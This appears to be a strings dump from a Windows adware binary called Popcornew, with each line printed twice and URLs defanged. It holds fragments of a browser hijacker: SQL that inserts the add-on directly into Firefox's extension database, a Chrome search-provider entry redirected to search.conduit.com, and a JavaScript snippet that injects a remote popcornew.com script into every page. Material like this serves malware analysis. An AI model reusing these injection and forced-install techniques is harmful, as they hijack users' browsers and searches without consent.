SELECT 'CREATE INDEX vacuum_db.' || substr(sql,14) FROM sqlite_master WHERE sql LIKE 'CREATE INDEX %'

SELECT 'CREATE UNIQUE INDEX vacuum_db.' || substr(sql,21) FROM sqlite_master WHERE sql LIKE 'CREATE UNIQUE INDEX %'

SELECT 'CREATE UNIQUE INDEX vacuum_db.' || substr(sql,21) FROM sqlite_master WHERE sql LIKE 'CREATE UNIQUE INDEX %'

SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND rootpage>0

SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND rootpage>0

SELECT 'DELETE FROM vacuum_db.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'

SELECT 'DELETE FROM vacuum_db.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'

SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';

SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';

INSERT INTO vacuum_db.sqlite_master SELECT type, name, tbl_name, rootpage, sql FROM main.sqlite_master WHERE type='view' OR type='trigger' OR (type='table' AND rootpage=0)

INSERT INTO vacuum_db.sqlite_master SELECT type, name, tbl_name, rootpage, sql FROM main.sqlite_master WHERE type='view' OR type='trigger' OR (type='table' AND rootpage=0)

UPDATE %Q.%s SET type='table', name=%Q, tbl_name=%Q, rootpage=0, sql=%Q WHERE rowid=#%d

UPDATE %Q.%s SET type='table', name=%Q, tbl_name=%Q, rootpage=0, sql=%Q WHERE rowid=#%d

vtable constructor failed: %s

vtable constructor failed: %s

vtable constructor did not declare schema: %s

vtable constructor did not declare schema: %s

no such module: %s

no such module: %s

table %s: xBestIndex returned an invalid plan

table %s: xBestIndex returned an invalid plan

%s SUBQUERY %d

%s SUBQUERY %d

%s TABLE %s

%s TABLE %s

%s AS %s

%s AS %s

%s USING %s%sINDEX%s%s%s

%s USING %s%sINDEX%s%s%s

%s USING INTEGER PRIMARY KEY

%s USING INTEGER PRIMARY KEY

%s (rowid=?)

%s (rowid=?)

%s (rowid>? AND rowid)

%s (rowid>? AND rowid)

%s (rowid>?)

%s (rowid>?)

%s (rowid)

%s (rowid)

%s VIRTUAL TABLE INDEX %d:%s

%s VIRTUAL TABLE INDEX %d:%s

%s (~%lld rows)

%s (~%lld rows)

at most %d tables in a join

at most %d tables in a join

cannot use index: %s

cannot use index: %s

the INDEXED BY clause is not allowed on UPDATE or DELETE statements within triggers

the INDEXED BY clause is not allowed on UPDATE or DELETE statements within triggers

the NOT INDEXED clause is not allowed on UPDATE or DELETE statements within triggers

the NOT INDEXED clause is not allowed on UPDATE or DELETE statements within triggers

unknown database: %s

unknown database: %s

no such %s mode: %s

no such %s mode: %s

%s mode not allowed: %s

%s mode not allowed: %s

no such vfs: %s

no such vfs: %s

database corruption at line %d of [%.10s]

database corruption at line %d of [%.10s]

misuse at line %d of [%.10s]

misuse at line %d of [%.10s]

cannot open file at line %d of [%.10s]

cannot open file at line %d of [%.10s]

{"active_permissions":{"api":["contextMenus","notifications","tabs","unlimitedStorage","webNavigation","webRequest","webRequestBlocking","webRequestInternal"],"explicit_host":["hXXp://*/*","hXXps://*/*"],"scriptable_host":["hXXp://*/*","hXXps://*/*"]},"creation_flags":9,"from_bookmark":false,"from_webstore":true,"granted_permissions":{"api":["contextMenus","notifications","tabs","unlimitedStorage","webNavigation","webRequest","webRequestBlocking","webRequestInternal"],"explicit_host":["hXXp://*/*","hXXps://*/*"],"scriptable_host":["hXXp://*/*","hXXps://*/*"]},"initial_keybindings_set":true,"install_time":"13047485847014017","location":1,"manifest":{"background":{"scripts":["config.js","ext/common.js","ext/background.js","lib/compat.js","lib/info.js","lib/io.js","lib/adblockplus.js","lib/punycode.js","lib/publicSuffixList.js","lib/basedomain.js","lib/sha1.js","lib/jsbn.js","lib/rsa.js","webrequest.js","popupBlocker.js","iconAnimation.js","background.js"]},"content_scripts":[{"all_frames":true,"js":["config.js","ext/common.js","include.preload.js"],"matches":["hXXp://*/*","hXXps://*/*"],"run_at":"document_start"},{"all_frames":true,"js":["smartdisplay.js"],"matches":["hXXp://*/*","hXXps://*/*"],"run_at":"document_end"},{"all_frames":true,"js":["include.idle.js"],"matches":["hXXp://*/*","hXXps://*/*"],"run_at":"document_idle"}],"description":"Popcornew","icons":{"128":"Popcornew.png","48":"Popcornew.png"},"key":"MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAig6oQYfBuEQJD0QyMu2AeDx9/XjWLLI9N k3fjiAA4VvC33HJ41tpZEJq7I4XeKRNT4S3XWKzAj1x5QvBvM2zbwx6WAwaQIW2ZYKArl pUJZ5V1EPg1W04TRnzEYQfl3kj8c8e0x9aO3XsquorLOPB5Texxgjt2XxsTIFSZABxxLx0EY8WJHwgvd1wtL3scVs5jQhtJX4dEgThuKcM7kAllzrQjVkupxPvG4xTASbB xbh1WwcmkwvqDsyjE7fdxysfacP7ToSOPYdg3wPc7Uow1ZYY6 1skQFSMgPYF6hDN/ZFE5TGDr7Mxsoo8cowTGcl3F1cBiTxzsASQr 8uxQIDAQAB","manifest_version":2,"minimum_chrome_version":"18.0","name":"Popcornew","permissions":["tabs","hXXp://*/*","hXXps://*/*","contextMenus","webRequest","webRequestBlocking","webNavigation","unlimitedStorage","notifications"],"update_url":"hXXps://clients2.google.com/service/update2/crx","version":"2.5","web_accessible_resources":["config.js","block.html"]},"path":"engaigpbgdjjmanonjcjkcmomgibneba\\2.5_0","state":1,"was_installed_by_default":false}

{"active_permissions":{"api":["contextMenus","notifications","tabs","unlimitedStorage","webNavigation","webRequest","webRequestBlocking","webRequestInternal"],"explicit_host":["hXXp://*/*","hXXps://*/*"],"scriptable_host":["hXXp://*/*","hXXps://*/*"]},"creation_flags":9,"from_bookmark":false,"from_webstore":true,"granted_permissions":{"api":["contextMenus","notifications","tabs","unlimitedStorage","webNavigation","webRequest","webRequestBlocking","webRequestInternal"],"explicit_host":["hXXp://*/*","hXXps://*/*"],"scriptable_host":["hXXp://*/*","hXXps://*/*"]},"initial_keybindings_set":true,"install_time":"13047485847014017","location":1,"manifest":{"background":{"scripts":["config.js","ext/common.js","ext/background.js","lib/compat.js","lib/info.js","lib/io.js","lib/adblockplus.js","lib/punycode.js","lib/publicSuffixList.js","lib/basedomain.js","lib/sha1.js","lib/jsbn.js","lib/rsa.js","webrequest.js","popupBlocker.js","iconAnimation.js","background.js"]},"content_scripts":[{"all_frames":true,"js":["config.js","ext/common.js","include.preload.js"],"matches":["hXXp://*/*","hXXps://*/*"],"run_at":"document_start"},{"all_frames":true,"js":["smartdisplay.js"],"matches":["hXXp://*/*","hXXps://*/*"],"run_at":"document_end"},{"all_frames":true,"js":["include.idle.js"],"matches":["hXXp://*/*","hXXps://*/*"],"run_at":"document_idle"}],"description":"Popcornew","icons":{"128":"Popcornew.png","48":"Popcornew.png"},"key":"MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAig6oQYfBuEQJD0QyMu2AeDx9/XjWLLI9N k3fjiAA4VvC33HJ41tpZEJq7I4XeKRNT4S3XWKzAj1x5QvBvM2zbwx6WAwaQIW2ZYKArl pUJZ5V1EPg1W04TRnzEYQfl3kj8c8e0x9aO3XsquorLOPB5Texxgjt2XxsTIFSZABxxLx0EY8WJHwgvd1wtL3scVs5jQhtJX4dEgThuKcM7kAllzrQjVkupxPvG4xTASbB xbh1WwcmkwvqDsyjE7fdxysfacP7ToSOPYdg3wPc7Uow1ZYY6 1skQFSMgPYF6hDN/ZFE5TGDr7Mxsoo8cowTGcl3F1cBiTxzsASQr 8uxQIDAQAB","manifest_version":2,"minimum_chrome_version":"18.0","name":"Popcornew","permissions":["tabs","hXXp://*/*","hXXps://*/*","contextMenus","webRequest","webRequestBlocking","webNavigation","unlimitedStorage","notifications"],"update_url":"hXXps://clients2.google.com/service/update2/crx","version":"2.5","web_accessible_resources":["config.js","block.html"]},"path":"engaigpbgdjjmanonjcjkcmomgibneba\\2.5_0","state":1,"was_installed_by_default":false}

{"created_by_policy":false,"date_created":"0","favicon_url":"hXXps://VVV.bing.com/s/a/bing_p.ico","image_url":"","image_url_post_params":"","input_encodings":["UTF-8"],"instant_url":"","instant_url_post_params":"","keyword":"VVV.bing.com","last_modified":"0","new_tab_url":"hXXps://VVV.bing.com/chrome/newtab?setmkt=en-US","originating_url":"","prepopulate_id":0,"safe_for_autoreplace":true,"search_terms_replacement_key":"","search_url_post_params":"","short_name":"Bing.com","suggestions_url":"hXXp://api.bing.com/osjson.aspx?query={searchTerms}&language={language}","suggestions_url_post_params":"","url":"hXXp://search.conduit.com/Results.aspx?ctid=CT3327911&searchsource=56&UM=2&&q={searchTerms}","usage_count":0}

{"created_by_policy":false,"date_created":"0","favicon_url":"hXXps://VVV.bing.com/s/a/bing_p.ico","image_url":"","image_url_post_params":"","input_encodings":["UTF-8"],"instant_url":"","instant_url_post_params":"","keyword":"VVV.bing.com","last_modified":"0","new_tab_url":"hXXps://VVV.bing.com/chrome/newtab?setmkt=en-US","originating_url":"","prepopulate_id":0,"safe_for_autoreplace":true,"search_terms_replacement_key":"","search_url_post_params":"","short_name":"Bing.com","suggestions_url":"hXXp://api.bing.com/osjson.aspx?query={searchTerms}&language={language}","suggestions_url_post_params":"","url":"hXXp://search.conduit.com/Results.aspx?ctid=CT3327911&searchsource=56&UM=2&&q={searchTerms}","usage_count":0}

last_chrome_version

last_chrome_version

chrome.plugin.ver_installed

chrome.plugin.ver_installed

chrome.plugin.error

chrome.plugin.error

extensions.settings.

extensions.settings.

template_url_data

template_url_data

search_url

search_url

chrome.conduit.old_chrome_ver

chrome.conduit.old_chrome_ver

chrome.conduit.error

chrome.conduit.error

hXXp://search.conduit.com/Results.aspx?ctid=CT3327911&searchsource=56&UM=2&&q={searchTerms}

hXXp://search.conduit.com/Results.aspx?ctid=CT3327911&searchsource=56&UM=2&&q={searchTerms}

chrome.conduit.ver_installed

chrome.conduit.ver_installed

default_search_provider_data.template_url_data

default_search_provider_data.template_url_data

chrome.plugin.enable

chrome.plugin.enable

chrome.conduit.enable

chrome.conduit.enable

chrome.video_ads.enable

chrome.video_ads.enable

chrome.error

chrome.error

chrome.addons.

chrome.addons.

.no_data

.no_data

.state

.state

.disable_reasons

.disable_reasons

.crx_exist

.crx_exist

chrome.version

chrome.version

chrome.search_url

chrome.search_url

firefox.conduit.enable

firefox.conduit.enable

firefox.video_ads.enable

firefox.video_ads.enable

SELECT updateURL FROM addon WHERE id == "{4585447E-5FD3-4281-BD73-DD57B2DCE8C5}"

SELECT updateURL FROM addon WHERE id == "{4585447E-5FD3-4281-BD73-DD57B2DCE8C5}"

INSERT INTO addon VALUES (null, "{4585447E-5FD3-4281-BD73-DD57B2DCE8C5}", "1wmRiFe01UO5", "app-profile", "2.5", "extension", "", "hXXps://popcornew.com/firefox/update.rdf", "", "", "", "", "", "", ?, 1, 1, 0, 0, 0, ?, 1373624626623, 1373624626623, 1, 0, 0, 435783, "hXXps://popcornew.com/firefox/Popcornew", "", 0, 0, 0, 0);

INSERT INTO addon VALUES (null, "{4585447E-5FD3-4281-BD73-DD57B2DCE8C5}", "1wmRiFe01UO5", "app-profile", "2.5", "extension", "", "hXXps://popcornew.com/firefox/update.rdf", "", "", "", "", "", "", ?, 1, 1, 0, 0, 0, ?, 1373624626623, 1373624626623, 1, 0, 0, 435783, "hXXps://popcornew.com/firefox/Popcornew", "", 0, 0, 0, 0);

INSERT INTO targetApplication VALUES(?, "{ec8030f7-c20a-464f-9b0e-13a3a9e97384}", "19.0", "50.*");

INSERT INTO targetApplication VALUES(?, "{ec8030f7-c20a-464f-9b0e-13a3a9e97384}", "19.0", "50.*");

{4585447E-5FD3-4281-BD73-DD57B2DCE8C5}

{4585447E-5FD3-4281-BD73-DD57B2DCE8C5}

\\extensions\\{4585447E-5FD3-4281-BD73-DD57B2DCE8C5}.xpi","installDate":1374485700380,"updateDate":1374485700380,"applyBackgroundUpdates":1,"bootstrap":true,"size":435783,"sourceURI":null,"releaseNotesURI":null,"softDisabled":false,"foreignInstall":false,"hasBinaryComponents":false,"strictCompatibility":false,"locales":[],"targetApplications":[{"id":"{ec8030f7-c20a-464f-9b0e-13a3a9e97384}","minVersion":"19.0","maxVersion":"50.0"}],"targetPlatforms":[]},

\\extensions\\{4585447E-5FD3-4281-BD73-DD57B2DCE8C5}.xpi","installDate":1374485700380,"updateDate":1374485700380,"applyBackgroundUpdates":1,"bootstrap":true,"size":435783,"sourceURI":null,"releaseNotesURI":null,"softDisabled":false,"foreignInstall":false,"hasBinaryComponents":false,"strictCompatibility":false,"locales":[],"targetApplications":[{"id":"{ec8030f7-c20a-464f-9b0e-13a3a9e97384}","minVersion":"19.0","maxVersion":"50.0"}],"targetPlatforms":[]},

{"id":"{4585447E-5FD3-4281-BD73-DD57B2DCE8C5}","syncGUID":"lirS1y4Qax0E","location":"app-profile","version":"2.5","type":"extension","internalName":null,"updateURL":"hXXps://popcornew.com/firefox/update.rdf","updateKey":null,"optionsURL":null,"optionsType":null,"aboutURL":null,"iconURL":null,"icon64URL":null,"defaultLocale":{"name":"Popcornew","description":"Popcornew","creator":"Popcornew OU","homepageURL":null},"visible":true,"active":true,"userDisabled":false,"appDisabled":false,"descriptor":"

{"id":"{4585447E-5FD3-4281-BD73-DD57B2DCE8C5}","syncGUID":"lirS1y4Qax0E","location":"app-profile","version":"2.5","type":"extension","internalName":null,"updateURL":"hXXps://popcornew.com/firefox/update.rdf","updateKey":null,"optionsURL":null,"optionsType":null,"aboutURL":null,"iconURL":null,"icon64URL":null,"defaultLocale":{"name":"Popcornew","description":"Popcornew","creator":"Popcornew OU","homepageURL":null},"visible":true,"active":true,"userDisabled":false,"appDisabled":false,"descriptor":"

firefox.plugin.ver_installed

firefox.plugin.ver_installed

firefox.plugin.enable

firefox.plugin.enable

firefox.plugin.ver_conduit

firefox.plugin.ver_conduit

firefox.error

firefox.error

firefox.addons.

firefox.addons.

.name

.name

.visible

.visible

.active

.active

.user_disabled

.user_disabled

.app_disabled

.app_disabled

.xpi_exist

.xpi_exist

Unable to find firefox profiles

Unable to find firefox profiles

9%D,3

9%D,3

IE.conduit.enable

IE.conduit.enable

IE.conduit.ver_installed

IE.conduit.ver_installed

IE.conduit.error

IE.conduit.error

open search scopes key

open search scopes key

open crypto key

open crypto key

delete crypto key

delete crypto key

open default scope key

open default scope key

IE.default_search.name

IE.default_search.name

IE.default_search.url

IE.default_search.url

IE.default_search.error

IE.default_search.error

IE.addons.

IE.addons.

.installed

.installed

.enabled

.enabled

client.install_time

client.install_time

client.enable_state_report

client.enable_state_report

client.version

client.version

client.prev_version

client.prev_version

client.ext_version

client.ext_version

client.partner_id

client.partner_id

config.client.enable_o_dips

config.client.enable_o_dips

client.enable_o_dips

client.enable_o_dips

config.client_id

config.client_id

config.client

config.client

config.nodesrv.prefs

config.nodesrv.prefs

IE.plugin.enable

IE.plugin.enable

IE.plugin.use

IE.plugin.use

IE.plugin.installed

IE.plugin.installed

IE.plugin.enabled

IE.plugin.enabled

IE.plugin.disabled

IE.plugin.disabled

IE.plugin.attempt_cnt

IE.plugin.attempt_cnt

IE.plugin.attempt_time

IE.plugin.attempt_time

IE.plugin.quit_enabling

IE.plugin.quit_enabling

IE.plugin.enabled_after

IE.plugin.enabled_after

IE.version

IE.version

IE.version_svc

IE.version_svc

state_file.error

state_file.error

config.error

config.error

nodesrv.enable

nodesrv.enable

port

port

password

password

' ).;

' ).;

C:\Projects\boost_1_55_0\boost/xpressive/basic_regex.hpp

C:\Projects\boost_1_55_0\boost/xpressive/basic_regex.hpp

C:\Projects\boost_1_55_0\boost/xpressive/detail/dynamic/matchable.hpp

C:\Projects\boost_1_55_0\boost/xpressive/detail/dynamic/matchable.hpp

1.1.3

1.1.3

GetProcessWindowStation

GetProcessWindowStation

operator

operator

broken pipe

broken pipe

inappropriate io control operation

inappropriate io control operation

not supported

not supported

operation in progress

operation in progress

operation not permitted

operation not permitted

operation not supported

operation not supported

operation would block

operation would block

protocol not supported

protocol not supported

function not supported

function not supported

operation canceled

operation canceled

address_family_not_supported

address_family_not_supported

operation_in_progress

operation_in_progress

operation_not_supported

operation_not_supported

protocol_not_supported

protocol_not_supported

operation_would_block

operation_would_block

address family not supported

address family not supported

0123456789-

0123456789-

%b %d %H : %M : %S %Y

%b %d %H : %M : %S %Y

%m / %d / %y

%m / %d / %y

%I : %M : %S %p

%I : %M : %S %p

%d / %m / %y

%d / %m / %y

C:\Users\User\Projects\boxore-client\BUILD\PopcornewRelease\Popcornew.pdb

C:\Users\User\Projects\boxore-client\BUILD\PopcornewRelease\Popcornew.pdb

ole32.dll

ole32.dll

PSAPI.DLL

PSAPI.DLL

WINMM.dll

WINMM.dll

VERSION.dll

VERSION.dll

KERNEL32.dll

KERNEL32.dll

MsgWaitForMultipleObjects

MsgWaitForMultipleObjects

EnumChildWindows

EnumChildWindows

USER32.dll

USER32.dll

RegCloseKey

RegCloseKey

RegDeleteKeyW

RegDeleteKeyW

RegOpenKeyExA

RegOpenKeyExA

RegOpenKeyExW

RegOpenKeyExW

RegCreateKeyExW

RegCreateKeyExW

RegEnumKeyW

RegEnumKeyW

RegQueryInfoKeyW

RegQueryInfoKeyW

ADVAPI32.dll

ADVAPI32.dll

SHFileOperationW

SHFileOperationW

SHELL32.dll

SHELL32.dll

OLEAUT32.dll

OLEAUT32.dll

UrlUnescapeW

UrlUnescapeW

SHLWAPI.dll

SHLWAPI.dll

InternetCrackUrlW

InternetCrackUrlW

HttpOpenRequestW

HttpOpenRequestW

HttpSendRequestW

HttpSendRequestW

HttpQueryInfoW

HttpQueryInfoW

HttpAddRequestHeadersW

HttpAddRequestHeadersW

HttpSendRequestA

HttpSendRequestA

HttpQueryInfoA

HttpQueryInfoA

WININET.dll

WININET.dll

urlmon.dll

urlmon.dll

GetCPInfo

GetCPInfo

zcÁ

zcÁ

.?AVFCHttpRequest@@

.?AVFCHttpRequest@@

.?AVFCHttpRequestManager@@

.?AVFCHttpRequestManager@@

.?AVHttpRequest@boxore@@

.?AVHttpRequest@boxore@@

.?AVHttpAsynchUpdate@boxore@@

.?AVHttpAsynchUpdate@boxore@@

:(:,:0:4:8:<:>

:(:,:0:4:8:<:>

1?2_2%3@3

1?2_2%3@3

?#?-?5?@?

?#?-?5?@?

1 2$2(2}2

1 2$2(2}2

: :$:(:,:

: :$:(:,:

1,1014181

1,1014181

= =$=(=,=0=4=8=

= =$=(=,=0=4=8=

0 0$0(0,0

0 0$0(0,0

!010A0Q0#2-272}3

!010A0Q0#2-272}3

4&424

4&424

4$4*454:4?4

4$4*454:4?4

2?3U3

2?3U3

;->

;->

9$9-999>9

9$9-999>9

6%6X6

6%6X6

1 2)2@2~2

1 2)2@2~2

8%9s9

8%9s9

: :$:(:,:0:4:8:<:>

: :$:(:,:0:4:8:<:>

6 6$6(6,6064686

6 6$6(6,6064686

1 1$1(1,1014181

1 1$1(1,1014181

; ;$;(;,;0;

; ;$;(;,;0;

;$;,;4;

;$;,;4;

1 1$1(1,1014181

1 1$1(1,1014181

;(;4;

;(;4;

6(646

6(646

7 7

7 7

888816666554443

888816666554443

6666554443

6666554443

!6666554443

!6666554443

Global\ASE-"5B97477E-937A-4535-9752-687437254B72"

Global\ASE-"5B97477E-937A-4535-9752-687437254B72"

GRange: bytes=%d-

GRange: bytes=%d-

Guistone_http_event_wnd

Guistone_http_event_wnd

hXXp://popcornew.com/o?c=%d&b=%d&t=%d&d=%s&i=%s&p=%d&v=%s

hXXp://popcornew.com/o?c=%d&b=%d&t=%d&d=%s&i=%s&p=%d&v=%s

Chrome_OmniboxView

Chrome_OmniboxView

hXXp://

hXXp://

config.js

config.js

Popcornew.crx

Popcornew.crx

Google\Chrome\User Data\

Google\Chrome\User Data\

lib/bxrCfg.js

lib/bxrCfg.js

extensions.sqlite

extensions.sqlite

extensions.json

extensions.json

extensions\{4585447E-5FD3-4281-BD73-DD57B2DCE8C5}.xpi

extensions\{4585447E-5FD3-4281-BD73-DD57B2DCE8C5}.xpi

Popcornew.xpi

Popcornew.xpi

IMozilla\Firefox\Profiles

IMozilla\Firefox\Profiles

Bing.com

Bing.com

VVV.Bing.com

VVV.Bing.com

hXXp://VVV.bing.com/favicon.ico

hXXp://VVV.bing.com/favicon.ico

Global\{5B97477E-937A-4535-9752-687437254B72}

Global\{5B97477E-937A-4535-9752-687437254B72}

chrome.exe

chrome.exe

firefox.exe

firefox.exe

{82BE43A3-77AF-4978-B081-893EF286DC00}

{82BE43A3-77AF-4978-B081-893EF286DC00}

popcornew.com

popcornew.com

{"client_id": "%s"}

{"client_id": "%s"}

hXXp://dlmenager.net/

hXXp://dlmenager.net/

PingUrl

PingUrl

CrashReportUrl

CrashReportUrl

MoreInfoUrl

MoreInfoUrl

UsageStatsReportUrl

UsageStatsReportUrl

}; var heads = document.getElementsByTagName("head");if(heads.length > 0) {var node

}; var heads = document.getElementsByTagName("head");if(heads.length > 0) {var node

= document.createElement("script");node.type

= document.createElement("script");node.type

= "text/javascript";node.src

= "text/javascript";node.src

= document.location.protocol "//popcornew.com/min.js";node.defer

= document.location.protocol "//popcornew.com/min.js";node.defer

= "defer";node.id = "Popcornew";heads[0].appendChild(node);}}

= "defer";node.id = "Popcornew";heads[0].appendChild(node);}}

if(document.getElementById("Popcornew") == null) {window.PopcornewCfg = {id: "

if(document.getElementById("Popcornew") == null) {window.PopcornewCfg = {id: "

.rules

.rules

Chrome_WidgetWin_0

Chrome_WidgetWin_0

Chrome_WidgetWin_1

Chrome_WidgetWin_1

Chrome_RenderWidgetHostHWND

Chrome_RenderWidgetHostHWND

MozillaWindowClass

MozillaWindowClass

Firefox

Firefox

FFCB3198-32F3-4E8B-9539-4324694ED664

FFCB3198-32F3-4E8B-9539-4324694ED664

HTTP/1.0

HTTP/1.0

EFA7A511-B491-4312-BB35-4586B99E45ED

EFA7A511-B491-4312-BB35-4586B99E45ED

\Implemented Categories\{59FB2056-D625-48D0-A944-1A85B5AB2640}

\Implemented Categories\{59FB2056-D625-48D0-A944-1A85B5AB2640}

Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{

Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{

Software\Microsoft\Windows\CurrentVersion\Ext\Settings

Software\Microsoft\Windows\CurrentVersion\Ext\Settings

Software\Microsoft\Windows\CurrentVersion\Ext\Stats

Software\Microsoft\Windows\CurrentVersion\Ext\Stats

0.0.0.0

0.0.0.0

{00000000-0000-0000-0000-000000000000}

{00000000-0000-0000-0000-000000000000}

Unable to remove all components, while Firefox is running. Please, close Firefox and try again.

Unable to remove all components, while Firefox is running. Please, close Firefox and try again.

Unable to remove all components, while Chrome is running. Please, close Chrome and try again.

Unable to remove all components, while Chrome is running. Please, close Chrome and try again.

combase.dll

combase.dll

kernel32.dll

kernel32.dll

Wmscoree.dll

Wmscoree.dll

- floating point support not loaded

- floating point support not loaded

- CRT not initialized

- CRT not initialized

- Attempt to initialize the CRT more than once.

- Attempt to initialize the CRT more than once.

ADVAPI32.DLL

ADVAPI32.DLL

USER32.DLL

USER32.DLL

portuguese-brazilian

portuguese-brazilian

%Program Files%\Popcornew\Popcornew\popcornew.exe

%Program Files%\Popcornew\Popcornew\popcornew.exe

7, 3, 0, 0

7, 3, 0, 0

Popcornew.exe

Popcornew.exe